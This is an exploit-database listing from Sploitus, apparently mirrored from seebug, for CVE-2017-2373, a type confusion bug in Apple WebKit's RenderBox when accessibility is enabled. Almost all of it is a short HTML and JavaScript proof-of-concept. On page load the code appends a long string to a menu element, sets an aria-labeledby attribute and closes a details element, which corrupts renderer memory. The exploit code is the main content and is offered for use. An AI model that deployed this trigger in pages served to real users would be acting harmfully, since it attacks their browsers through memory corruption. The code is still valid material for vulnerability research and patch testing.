Sploitus

Exploit for Apple WebKit: Type confusion in RenderBox with accessibility enabled（CVE-2017-2373）

seebug · 2017-04-21

Exploit Code

MARKDOWN12 lines
## https://sploitus.com/exploit?id=SSV:92992
<script>
function boom() {
  m.append("aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa");
  m.setAttribute("aria-labeledby", "t");
  d.open = false;
}
</script>
<body onload=boom()>
<title id="t">foo</title>
<menu id="m">
<details id="d" open="true">